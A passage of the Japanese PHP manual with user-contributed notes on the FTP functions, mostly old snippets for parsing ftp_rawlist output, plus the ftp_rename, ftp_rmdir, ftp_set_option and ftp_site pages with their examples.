    if (! in_array($permissions[0], array_keys($filetypes))) continue;
    $type = $filetypes[$permissions[0]];
    $date = date('d/m/y H:i', (strpos($time, ':') ? mktime(substr($time, 0, 2), substr($time, -2), 0, $month, $day) : mktime(0,0,0,$month, $day, $time) ) );
    $files[$name] = array('type'=>$type, 'permissions'=>substr($permissions, 1), 'children'=>$children, 'owner'=>$owner, 'group'=>$group, 'size'=>$size, 'date'=>$date);
}

print_r($files);

?>

(I'm using a pretty simple regex pattern (non-space-stuff, whitespace, non-space-stuff etc), but amazingly /it still works!/ K.I.S.S.! The time part in the pattern is done separately to make sure only 1 space is taken out before the filename, which might start with spaces for all you know)
admin at mikeholloway dot co dot uk 03-Dec-2005 02:38
I was having problems picking up the directories on a mac using cjacobsen at pge dot cl's (11-Jan-05) solution. Slight ammendment to the regexp works for me:

ereg("([-dl][rwxstST-]+).* ?([0-9 ]* )?([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)
d dot lloyd at tnw dot tudelft dot nl 27-Sep-2005 06:22
One comment regaring the method tig3r uses to determine the listing type.

Windows servers can return a listing in unix format if the ftp server has been told to use unix formatting. The only robust solution I have is to try both ereg commands once and see which one successfully returns an array.
tig3r at poczta dot onet dot pl 18-Aug-2005 03:31
Previous example (by davidknoll at o2 dot co dot uk) works well if ftp_systype() returned "UNIX", but sometimes I am experiencing "Windows_NT". Here is some improvement:

<?php
function parsed_listing($path)
{
   $conn = ftp_connect(FTP_HOST);
   ftp_login($conn, FTP_USER, FTP_PASS);
   $systype = ftp_systype($conn_id);
   $list = ftp_rawlist($conn, "-a ".FTP_BASE.$path);
   ftp_close($conn);
   $i = 0;

   foreach ($list as $current) {
      switch ($systype) {
         case "Windows_NT":
         ereg("([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)",$current,$split);
         if (is_array($split)) {
            if ($split[3]<70) { $split[3]+=2000; } else { $split[3]+=1900; } // 4digit year fix
            $parsed[$i]['isdir'] = ($split[7]=="<DIR>");
            $parsed[$i]['size'] = $split[7];
            $parsed[$i]['month'] = $split[1];
            $parsed[$i]['day'] = $split[2];
            $parsed[$i]['time/year'] = $split[3];
            $parsed[$i]['name'] = $split[8];
            $i++;
         }
         break;

         case "UNIX":
         default:

// etc.

         break;
      }
   }
   return $parsed;
}
?>
davidknoll at o2 dot co dot uk 14-Jul-2005 04:00
Well, this works for me:

<?php
function parsed_listing($path)
{
    $conn = ftp_connect(FTP_HOST);
    ftp_login($conn, FTP_USER, FTP_PASS);
    $list = ftp_rawlist($conn, "-a ".FTP_BASE.$path);
    ftp_close($conn);
    $i = 0;
    foreach ($list as $current) {
        $split = preg_split("[ ]", $current, 9, PREG_SPLIT_NO_EMPTY);
        if ($split[0] != "total") {
            $parsed[$i]['isdir']        = $split[0]{0} === "d";
            $parsed[$i]['perms']        = $split[0];
            $parsed[$i]['number']    = $split[1];
            $parsed[$i]['owner']        = $split[2];
            $parsed[$i]['group']        = $split[3];
            $parsed[$i]['size']        = $split[4];
            $parsed[$i]['month']        = $split[5];
            $parsed[$i]['day']        = $split[6];
            $parsed[$i]['time/year']    = $split[7];
            $parsed[$i]['name']        = $split[8];
            $i++;
        }
    }
    return $parsed;
}
?>
nate at 8networks dot com 07-May-2005 12:41
this snip fixes the date problem with the listing and sorts out the variables:

$filedata['access_permissions']
$filedata['link_count']
$filedata['uid']
$filedata['gid']
$filedata['size']
$filedata['mod_date_month']
$filedata['mod_date_day']
$filedata['mod_time']
$filedata['name']

list($filedata['access_permissions'], $filedata['link_count'], $filedata['uid'], $filedata['gid'], $filedata['size'], $filedata['mod_date_month'], $filedata['mod_date_day'], $filedata['mod_time'], $filedata['name']) = preg_split("/[\s,]+/", $value);

$filedata['type'] = $filedata['access_permissions']{0};

$filedata['access_permissions'] = substr($filedata['access_permissions'],1);

// now check the date to see if the last modifcation was this year or last.

if ( strrpos($filedata['mod_time'], ':') != 2 ) { $filedata['mod_date'] = $filedata['mod_date_month'] ." " . $filedata['mod_date_day'] . " " . $filedata['mod_time']; $filedata['mod_time'] = "00:00"; } else { $filedata['mod_date'] = $filedata['mod_date_month'] ." " . $filedata['mod_date_day'] . " " . date("Y"); }
john at nm-design dot com 29-Apr-2005 10:14
I'm not a traditional programmer, so I often take a different approach then most programmers. Here's how I get file information from an FTP file list. It's very simple (which I like). Comments are welcome:

    // make your FTP connection calls here, then ...
    $contents = ftp_rawlist($ftp_id, ".");

    echo '<TABLE>';

    foreach ($contents as $key => $value) {

        $info = explode(" ", $value);
        $clean = array();
        foreach ($info as $key => $value) {
            if (!empty($value)) { $clean[] = $value; }
        } // end foreach loop 2

        if ( ($clean[8] != ".") AND ($clean[8] != "..") AND ($clean[8] != "html") AND ($clean[8] != "logs") AND ($clean[8] != "protected") AND ($clean[8] != "sys") ) {
            echo '<TR>';
            print "<TD WIDTH=\"40%\">$clean[8]</TD>"; // name of file
            print "<TD WIDTH=\"20%\" ALIGN=\"CENTER\">$clean[5] $clean[6] $clean[7]</TD>"; // date info
            // prep size
            $size = $clean[4];
            $size = $size / 1000; $size = ceil($size); if ($size <= 0) { $size = 1; }
            if ($size >= 1000) { $measure = "MB"; $size = $size /  1000; } else { $measure = "K"; }
            print "<TD WIDTH=\"20%\" ALIGN=\"CENTER\">$size $measure</TD>"; // size
            echo '<TD WIDTH="20%" ALIGN="CENTER" BGCOLOR="#FFFFE6" CLASS="bodyBold">'; print "<A HREF=\"$PHP_SELF?Submit=DELETE&file=$clean[8]\">"; echo 'DELETE</A></TD>'; // link to delete file
            echo '</TR>';
        } // end if

    } // end foreach loop 1

    echo '</TABLE>';
marc dot peterlongo at francetelecom dot com 03-Feb-2005 02:57
When you try:

$path = "directory pathname with spaces";
$list = ftp_rawlist($conn_id,$path);

It doesn't work

but when you try:

$path = "directory pathname with spaces";
ftp_chdir($conn_id,$path);
$list = ftp_rawlist($conn_id,".");

It works
cjacobsen at pge dot cl 11-Jan-2005 05:44
Excelent expresion, but don't match SUID, SGUI and Sticky flags when 'x' is disabled. Fix it with [rwxstST-].

<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxstST-]+).* ([0-9]*) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[9];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}
$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
greg at upsdn dot net 19-Dec-2004 11:58
list all (including hidden files and dirs):
<?php
  $contents = ftp_rawlist($conn_id, "-al ".$dir_name);
?>

just as ftp command:
LIST al

"-aF " is equal to '-al', please refer to "ls --help"
greg at upsdn dot net 25-Nov-2004 10:55
The previous regular expression(by Jonathan Almarez,ergye at yahoo dot com and guru at virusas dot lt) is very good.But i found it does not  take into account for directories(number>9)

Change [0-9] to [0-9]*

The code below not only parses:
drwxrwxr-x     9 msik     ia           4096 Nov  5 14:19 Group3

It also parses:
drwxrwxr-x   19 msik     ia           4096 Nov  5 14:19 Group3
3
drwxrwxr-x   119 msik     ia           4096 Nov  5 14:19 Group3
3

0 = file
1 = directory
2 = simlink
<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxst-]+).* ([0-9]*) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[9];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}
$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
Jonathan Almarez 24-Nov-2004 03:16
To make the latest correction to the parsing code:

"ergye at yahoo dot com" dosen't take into account for files or directories that are older than a year where instead of showing the time, it shows the year.

The code below not only parses:
drwxrwxr-x   2 503      503          4096 Dec  3 12:12 CVAR

It also parses:
drwxrwxr-x   2 503      503          4096 Dec  3  2003 CVAR

0 = file
1 = directory
2 = simlink
<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[9];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}
$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
22-Oct-2004 07:53
Note that there is no standard for the format, therefore don't be suprised when parsing routines for this work perfectly on some servers, and fail horribly on some.
ergye at yahoo dot com 29-Sep-2004 09:52
The previous regular expression is super, but does not take simlinks into account. Change [-d] to [-dl] and instead of indicating directories we should indicate the type of the items:

0 = file
1 = directory
2 = simlink

<?php

function itemize_dir($contents) {
    foreach ($contents as $file) {
        if(ereg("([-dl][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)", $file, $regs)) {
            $type = (int) strpos("-dl", $regs[1]{0});
            $tmp_array['line'] = $regs[0];
            $tmp_array['type'] = $type;
            $tmp_array['rights'] = $regs[1];
            $tmp_array['number'] = $regs[2];
            $tmp_array['user'] = $regs[3];
            $tmp_array['group'] = $regs[4];
            $tmp_array['size'] = $regs[5];
            $tmp_array['date'] = date("m-d",strtotime($regs[6]));
            $tmp_array['time'] = $regs[7];
            $tmp_array['name'] = $regs[8];
        }
        $dir_list[] = $tmp_array;
    }
    return $dir_list;
}

$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
guru at virusas dot lt 03-Sep-2004 03:31
Lets say only one of these scripts can accept filenames with spaces, but that script doesn't return all info that we may need, so i have modified a little bit one of my script and added some more regexp from here:

<?

$buff = ftp_rawlist($cid,"/");
foreach ($buff as $file)
{
      if(ereg("([-d][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)",$file,$regs))
    {
        if(substr($regs[1],0,1)=="d") $isdir=1; else $isdir=0;
        $tmp_array['line']=$regs[0];
        $tmp_array['isdir']=$isdir;
        $tmp_array['rights']=$regs[1];
        $tmp_array['number']=$regs[2];
        $tmp_array['user']=$regs[3];
        $tmp_array['group']=$regs[4];
        $tmp_array['size']=$regs[5];
        $tmp_array['date']=date("m-d",strtotime($regs[6]));
        $tmp_array['time']=$regs[7];
        $tmp_array['name']=$regs[8];
     }
    $dir_list[]=$tmp_array;
}

?>

The result is smth like that:

  8 =>
    array
      'line' => '-rw-r--r--   1 guru     users           4 Sep  3 09:41 testas testas testas.txt'
      'isdir' => 0
      'rights' => '-rw-r--r--'
      'number' => '1'
      'user' => 'guru'
      'group' => 'users'
      'size' => '4'
      'date' => '09-03'
      'time' => '09:41'
      'name' => 'testas testas testas.txt'
  9 =>
    array
      'line' => 'drwxr-xr-x   3 guru     users        4096 Aug 20 08:54 upload'
      'isdir' => 1
      'rights' => 'drwxr-xr-x'
      'number' => '3'
      'user' => 'guru'
      'group' => 'users'
      'size' => '4096'
      'date' => '08-20'
      'time' => '08:54'
      'name' => 'upload'

Home this will help someone
eros at speedy dot com dot ar 01-Sep-2004 02:06
NO, NO, NO.

The above examples are all wrong, the spaces given in array are not there "just because", its just a tabbed structure. In php we don't have structures like in c/cpp, but the following function will do the job.

<?php

function parse_rawlist( $array ) {

    for ( $i = 1; $i < count($array); $i++ ) {

        $current = $array[$i];

        $structure[$i]['perms']  = substr($current, 0, 10);
        $structure[$i]['number'] = trim(substr($current, 11, 3));
        $structure[$i]['owner']  = trim(substr($current, 15, 8));
        $structure[$i]['group']  = trim(substr($current, 24, 8));
        $structure[$i]['size']   = trim(substr($current, 33, 8));
        $structure[$i]['month']  = trim(substr($current, 42, 3));
        $structure[$i]['day']    = trim(substr($current, 46, 2));
        $structure[$i]['time']   = substr($current, 49, 5);
        $structure[$i]['name']   = substr($current, 55, strlen($current) - 55);

    }

    return $structure;

}

?>
soon7 at wanadoo dot fr 14-Jul-2004 02:17
Hi all !
ther is a litlle mistake in the naivesong 's message .
Indeed , you stop to parse too early ...
I tried and fix it like this :
<?
// getting the list
  $list = ftp_rawlist ($ftp_stream, $ftp_directory);
   $folders = array();
   $files = array();
   $links = array();
   for ($i=0; $i<count($list); $i++)
   {
        //----convert tabs to blanks
        //----delete multiple blanks
// Here begin my modifications
list ($permissions, $list[$i]) = parsenext ($list[$i]);
     list ($number, $list[$i]) = parsenext ($list[$i]);
     list ($owner, $list[$i]) = parsenext ($list[$i]);
     list ($group, $list[$i]) = parsenext ($list[$i]);
     list ($size, $list[$i]) = parsenext ($list[$i]);
     list ($timeMonth,$list[$i]) = parsenext ($list[$i]);
     list ($timeDay,$list[$i]) = parsenext ($list[$i]);
     list ($timeTime,$list[$i]) = parsenext ($list[$i]);
     $filename=$list[$i];
// by taking $filename in last position , it works even if there is some space in its name
//then we put it in the m array with the new things
//----ok, put all this into the related array
if ($filename != "." && $filename != "..")
     {
       $m = array();
       $m["name"] = $filename;
       $m["link"] = $filelink;
       $m["size"] = afficherPoidsFichier($size);
       $m["month"] = $timeMonth;
       $m["day"] = $timeDay;
       $m["time"] = $timeTime;
       $m["owner"] = $owner;
       $m["group"] = $group;
       $m["permissions"] = $permissions;
       if (substr($permissions, 0, 1) == "d")
         $folders[count($folders)] = $m;
       else if (substr($permissions, 0, 1) == "l")
         $links[count($files)] = $m;
       else
         $files[count($files)] = $m;
     }
   }
// you can sort $folders , $files , $links after if u want
// afficherPoidsFichier($size) is a little function i found in this site at filesize() , works good !
// Just give the good size
function afficherPoidsFichier($size) {
  $sizes = Array('o', 'Ko', 'Mo', 'Go');
  $ext = $sizes[0];
  for ($i=1; (($i < count($sizes)) && ($size >= 1024)); $i++) {
   $size = $size / 1024;
   $ext  = $sizes[$i];
  }
  return round($size, 2).' '.$ext;
}
?>
naivesong at matiasmoreno dot com dot ar 25-Mar-2004 08:53
I'm afraid I forgot the "parsenext" function in my previous note. Here it is:

<?php

    function parsenext ($s)
    {
      $k = strpos ($s, " ");
      $m = array();
      $m[0] = substr($s, 0, $k);
      $m[1] = substr($s, $k+1);
      return $m;
    }

?>
naivesong at matiasmoreno dot com dot ar 24-Mar-2004 10:41
This script will properly handle FTP servers where the returned date/time differs from the generic mm-dd-YYYY hh:mm:ss format:

<?php

    $list = ftp_rawlist ($ftp_stream, $ftp_directory);

    $folders = array();
    $files = array();
    $links = array();
    for ($i=0; $i<count($list); $i++)
    {
      //----convert tabs to blanks
      $list[$i] = str_replace ("\t", " ", $list[$i]);
      //----delete multiple blanks
      while (($k = strpos($list[$i], "  ")) !== FALSE)
        $list[$i] = substr($list[$i],0,$k+1).trim(substr($list[$i],$k));
      //----split link reference from filename where available
      if (($k = strpos($list[$i], " -> ")) !== FALSE)
      {
        $filelink = substr($list[$i], $k+4);
        $list[$i] = substr($list[$i], 0, $k);
      }
      else
        $filelink = "";
      //----parse filename
      $k = strrpos($list[$i], " ");
      $filename = substr($list[$i], $k+1);
      $list[$i] = substr($list[$i], 0, $k);
      //----parse the rest of info
      list ($permissions, $list[$i]) = parsenext ($list[$i]);
      list ($number, $list[$i]) = parsenext ($list[$i]);
      list ($owner, $list[$i]) = parsenext ($list[$i]);
      list ($group, $list[$i]) = parsenext ($list[$i]);
      list ($size, $time) = parsenext ($list[$i]);
      //----ok, put all this into the related array
      if ($filename != "." && $filename != "..")
      {
        $m = array();
        $m["name"] = $filename;
        $m["link"] = $filelink;
        $m["size"] = $size;
        $m["time"] = $time;
        $m["owner"] = $owner;
        $m["group"] = $group;
        $m["permissions"] = $permissions;
        if (substr($permissions, 0, 1) == "d")
          $folders[count($folders)] = $m;
        else if (substr($permissions, 0, 1) == "l")
          $links[count($files)] = $m;
        else
          $files[count($files)] = $m;
      }
    }
    sort ($folders);
    sort ($files);
    sort ($links);

?>

This script works fine on any raw list that complies with the following format:

permissions number owner group size time name [" -> " link_to]

where time may have whatever format the FTP server wants. ;-)

It also returns folders, files and links in separated sorted lists (got this idea from the note of "postmaster at alishomepage dot com" in this help page).
josh at snaphat dot com 29-Jan-2004 07:23
I fixed jmv AT jmvware DOT com's script:
<?php

$dirline=ereg_replace(" +",' ',$dirline);
$isdir=0;
if (ereg('^d',$dirline)) $isdir=1;
list($permissions,$num,$owner,$group
,$size,$month,$day,$year_time,$name)=split(' ',$dirline);

//added the next lines:
$fix=explode(' ',$dirline);
$fixsize=count($fix);
 if($fixsize > 8)
 {
  for($start=9;$start<$fixsize;$start++)
  {
   $name.=" " . $fix[$start];
  }
 }
?>
06-Jan-2004 03:40
If you write
<?php
rawlist ($ftp, "-a");
?>
The command will be "LIST -a", so the retuned list will also contain hidden files like ".htaccess".

In this case all files and folders of the current directory are contained.
To list another folder, you must change to it with "ftp_chdir".
moonglobe3739 [ A t ] hotmail .com 01-Nov-2003 04:16
hope this helps someone:
<?php
$list = ftp_rawlist($ftp_stream,$dir);
$dirc = array();
foreach ($list as $file)
{
    list($perms,$owner,$group,$size,$mtime,$fname) =
    preg_match('#^([bcdlsp-][rwxtTsS-]{9})\s+(?:[0-9]+)\s+'.
               '([a-zA-Z]+)\s+([a-zA-Z]+)\s+([0-9]+)\s+'.
               '([A-Z][a-z]+ [0-9]{1,2} [0-9]{4} [0-9]{2}:[0-9]{2}) (.*)$#',$file);
    $dirc[$fname]['permissions'] = $perms;
    $dirc[$fname]['owner']       = $owner;
    $dirc[$fname]['group']       = $group;
    $dirc[$fname]['size']        = $size;
    $dirc[$fname]['modtime']     = $mtime;
}
?>
postmaster at alishomepage dot com 19-Oct-2003 05:39
Here we go for a 100% working code... :D

<?

[code]

function cutspaces($str){
    while(substr($str,0,1)==" "){$str=substr($str,1);}
    return $str;}

[code]

$folders=array();
$files=array();
for($i=0;$i<sizeof($list);$i++){
    list($permissions,$next)=split(" ",$list[$i],2);
    list($num,$next)=split(" ",cutspaces($next),2);
    list($owner,$next)=split(" ",cutspaces($next),2);
    list($group,$next)=split(" ",cutspaces($next),2);
    list($size,$next)=split(" ",cutspaces($next),2);
    list($month,$next)=split(" ",cutspaces($next),2);
    list($day,$next)=split(" ",cutspaces($next),2);
    list($year_time,$filename)=split(" ",cutspaces($next),2);
    if($filename!="." && $filename!=".."){
        if(substr($permissions,0,1)=="d"){
            $folders[]=$filename;
        } else {
            $files[]=$filename;}}}
sort($folders);
sort($files);

[code]

?>

so this will simply "get" all the information WITHOUT being in any case interfered with some spaces, ... etc etc... It will even put files in a $files array and folders in a $folders array, and sort them, so you will be able of using all this later

and: the "folders" will NOT contain "." and ".." ;)

so you can use all this to make a beautiful FTP interface... later on you could for example put permissions and etc etc in other arrays to use them in your result... cute....
postmaster at alishomepage dot com 19-Oct-2003 05:05
Another "formula" for decoding the rawlist: the ide is that normaly a "ls" contains info like below:

<file rights> <number> <owner> <group> <date> <time> <filename>

and: the "time" contains a ":" (which is NOT contained in any of the other infos -if we reversely read the array)

and, in the case the "time" would not exist, i have done a "protection script" that would try to find out using the year... Yet that may NOT always work since a user name or group name MAY contain an item like "1999" etc... (and i did not check the date format reversely -on the filename first- since a probability of presence is higher of a date is MUCH higher in a filename)

So here we go:

<?

[... code ...]

$fnTest=array("198","199","200","201","202");

[... code ...]

$j=0;
$strrpos=strrpos($list[$i],":");
while($strrpos==0){
    $strrpos=strpos($list[$i],$fnTest[$j]);
    $j++;}
if($j){
    $strrpos+=2+strlen($fnTest[$j]);
}else{
    $strrpos+=4;}
$elmt=substr($list[$i],$strrpos);

[... code ...]

?>

and $elmt would *normally* contain the info we want... but i'm still working on it!


FTP サーバー上のファイルまたはディレクトリの名前を変更する

  • ≪ ftp_rawlist
  • ftp_rmdir ≫
  • PHP Manual
  • FTP 関数
  • FTP サーバー上のファイルまたはディレクトリの名前を変更する

ftp_rename

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_rename — FTP サーバー上のファイルまたはディレクトリの名前を変更する

説明

ftp_rename ( resource $ftp , string $from , string $to ) : bool

ftp_rename() は FTP サーバー上のファイルやディレクトリの 名前を変更します。

パラメータ

ftp

FTP 接続のリンク ID 。

from

現在のファイル/ディレクトリの名前。

to

新しい名前。

返り値

成功した場合に true を、失敗した場合に false を返します。 失敗したとき(存在しないファイルを変更しようとしたときなど) は、 E_WARNING レベルのエラーが発生します。

例

例1 ftp_rename() の例

<?php
$old_file = 'somefile.txt.bak';
$new_file = 'somefile.txt';

// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// $old_file を $new_file に変更することを試みる
if (ftp_rename($conn_id, $old_file, $new_file)) {
 echo "successfully renamed $old_file to $new_file\n";
} else {
 echo "There was a problem while renaming $old_file to $new_file\n";
}

// 接続を閉じる
ftp_close($conn_id);
?>

User Contributed Notes

alishahnovin at hotmail dot com 11-Dec-2007 07:25
You want to make sure you check the existence of the new name before renaming files, because otherwise you could risk losing files. Just do a simple check with ftp_size with the new name. If it's !=-1, you're going to want to throw some kind of error, otherwise you'll be losing a file...
aventaria at hotmxxx dot com 07-Feb-2007 04:51
This function isn't only able to rename files, but also folders. And it is not only able to rename them, but also move them, and, in the case of folders, their contents as well (so folders don't have to be empty to move). For example:

<?php
ftp_rename($conn_id, "./dir1/dir2/", "./dir3/");
?>

Now the folder dir2 (which prevously was in folder dir1) has moved to the same folder as dir1, and it has kept its original contents (the content just moved along).
Hazem dot Khaled at gmail dot com 26-Nov-2006 07:56
to rename the file or folder you should use ftp_chdir to select the current directory on ftp server or you should write the full path to file in old name and in new name

Ex. 1
<?php
// open the folder that have the file
ftp_chdir($conn_id, '/www/ftp-filemanager/');

// rename the file
ftp_rename($conn_id, 'file1.jpg', 'new_name_4_file.jpg');
?>

or write full path Ex. 2
<?
// rename the file
ftp_rename($conn_id, '/www/ftp-filemanager/file1.jpg', '/www/ftp-filemanager/new_name_4_file.jpg');
?>
Hugo locobyte at hotmail dot NO_SPAM dot com 22-Nov-2002 12:29
Using "ftp_rename" to move files to other directories on server ftp
..
...
if(ftp_rename($conn_ftp, $xfiles[$i], "./dirx/".$xfiles[$i])) {
       echo "File $xfiles[$i] moved to ./dirx";
} else {
       echo "ERROR!!!. The file could not be moved";
}
...
..
#-->>h2m,  bye


ディレクトリを削除する

  • ≪ ftp_rename
  • ftp_set_option ≫
  • PHP Manual
  • FTP 関数
  • ディレクトリを削除する

ftp_rmdir

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_rmdir — ディレクトリを削除する

説明

ftp_rmdir ( resource $ftp , string $directory ) : bool

FTP サーバー上の、指定した directory を削除します。

パラメータ

ftp

FTP 接続のリンク ID 。

directory

削除するディレクトリ。空のディレクトリへの絶対パス または相対パスでなければなりません。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ftp_rmdir() の例

<?php

$dir = 'www/';

// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// $dir ディレクトリの削除を試みる
if (ftp_rmdir($conn_id, $dir)) {
    echo "Successfully deleted $dir\n";
} else {
    echo "There was a problem while deleting $dir\n";
}

ftp_close($conn_id);

?>

参考

  • ftp_mkdir() - ディレクトリを作成する

User Contributed Notes

johan dot kerreneur at gmail dot com 26-Apr-2020 03:34
ftp_rmdir() delete only empty folders...

if you want to delete the entire contents of a folder try its.

Exemple...

<?php
$ftp_server = "YourIP";
$ftp_user_name = "YourUsername";
$ftp_user_pass = "YourPassword";

// Connection
echo "Connecting to $ftp_server";
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

//Enable PASV ( Note: must be done after ftp_login() )
ftp_pasv($conn_id, true);

// check connection
if((!$conn_id) || (!$login_result)){
    die("FTP connection has failed !");
}
echo "<br/>Login Ok.";

// Function to delete an entire folder
function ftp_rrmdir($conn_id, $directory){
    $lists = ftp_mlsd($conn_id, $directory);
    unset($lists[0]);
    unset($lists[1]);

    foreach($lists as $list){
        $full = $directory . '/' . $list['name'];

        if($list['type'] == 'dir'){
            ftp_rrmdir($conn_id, $full);
        }else{
            ftp_delete($conn_id, $full);
        }
    }

    ftp_rmdir($conn_id, $directory);
    return true;
}

//Now run ftp_rrmdir()
if(ftp_rrmdir($conn_id, 'YOUR/PATH/')){
    echo = "Folder deleted !";
}

//close
ftp_close($conn_id);

?>
karl AT karlgroves.com 12-Aug-2011 05:18
Please note that this function, like rmdir, requires that the directory be empty.


さまざまな FTP 実行時オプションを設定する

  • ≪ ftp_rmdir
  • ftp_site ≫
  • PHP Manual
  • FTP 関数
  • さまざまな FTP 実行時オプションを設定する

ftp_set_option

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ftp_set_option — さまざまな FTP 実行時オプションを設定する

説明

ftp_set_option ( resource $ftp , int $option , int|bool $value ) : bool

この関数は、指定した FTP ストリームに関してのさまざまな実行時オプションを 制御します。

パラメータ

ftp

FTP 接続のリンク ID 。

option

現在、以下のオプションがサポートされています:

サポートされる実行時 FTP オプション
FTP_TIMEOUT_SEC | 全てのネットワーク関連関数に関して秒単位でタイムアウトを変更 します。valueは、 0 より大きい整数値である必要があります。 デフォルトのタイムアウトは90秒です。
FTP_AUTOSEEK | 有効になっている場合は、GET や PUT のリクエストが resumepos や startpos のパラメータ付きで実行されるとファイル中の該当位置をシークします。 デフォルトで有効になっています。
FTP_USEPASVADDRESS | このオプションを無効にすると、PHP は PASV コマンドからのレスポンスとして FTPサーバから返されたIPアドレスを無視します。 代わりに、ftp_connect() で与えられた IPアドレスを使います。 value は、bool でなければなりません。

value

このパラメータの内容は、どの option を変更しようとしているかによって変わります。

返り値

オプションが設定できた場合に true 、そうでない場合に false を返します。 option がサポートされていなかった場合や option が想定していない値を value に渡した場合は警告メッセージが発生します。

例

例1 ftp_set_option() の例

<?php
// ネットワークのタイムアウトを 10 秒に設定する
ftp_set_option($conn_id, FTP_TIMEOUT_SEC, 10);
?>

参考

  • ftp_get_option() - カレント FTP ストリームでの種々の実行時動作を取得する

User Contributed Notes

There are no user contributed notes for this page.


SITEコマンドをサーバーに送信する

  • ≪ ftp_set_option
  • ftp_size ≫
  • PHP Manual
  • FTP 関数
  • SITEコマンドをサーバーに送信する

ftp_site

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_site — SITEコマンドをサーバーに送信する

説明

ftp_site ( resource $ftp , string $command ) : bool

ftp_site() は、指定された SITE コマンドを FTP サーバーに送信します。

SITE コマンドの規格は統一されていないため、 サーバーにより仕様が異なります．ファイルのパーミッションや グループメンバーの設定のような処理を行う際には有用です。

パラメータ

ftp

FTP 接続のリンク ID 。

command

SITE コマンド。このパラメータはエスケープされないので、スペースや その他の文字を含むファイル名は問題を引き起こす可能性があることに 注意してください。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 SITE コマンドを FTP サーバーに送信する

<?php
// FTP サーバーに接続する
$conn = ftp_connect('ftp.example.com');
if (!$conn) die('Unable to connect to ftp.example.com');

// "user" として、パスワード "pass" でログインする
if (!ftp_login($conn, 'user', 'pass')) die('Error logging into ftp.example.com');

// FTP サーバーに "SITE CHMOD 0600 /home/user/privatefile" コマンドを発行する
if (ftp_site($conn, 'CHMOD 0600 /home/user/privatefile')) {
   echo "Command executed successfully.\n";
} else {
   die('Command failed.');
}
?>

参考

  • ftp_raw() - FTP サーバーに任意のコマンドを送信する

User Contributed Notes

www.bossftp.com 05-Nov-2008 06:30
To send a SITE command and get the result, you can try this:

<?php
function ftpsite($conn, $cmd) {
    return ftp_raw($conn, "SITE $cmd");
}
?>
Marc 05-Aug-2003 07:02
Use ftp_raw() (PHP 5+) instead of ftp_site() if you need the results of the remote command.
webmaster at beezm dot net 17-Jun-2003 11:52
I wrote some functions for an ftp server for windows called GuildFTPd.

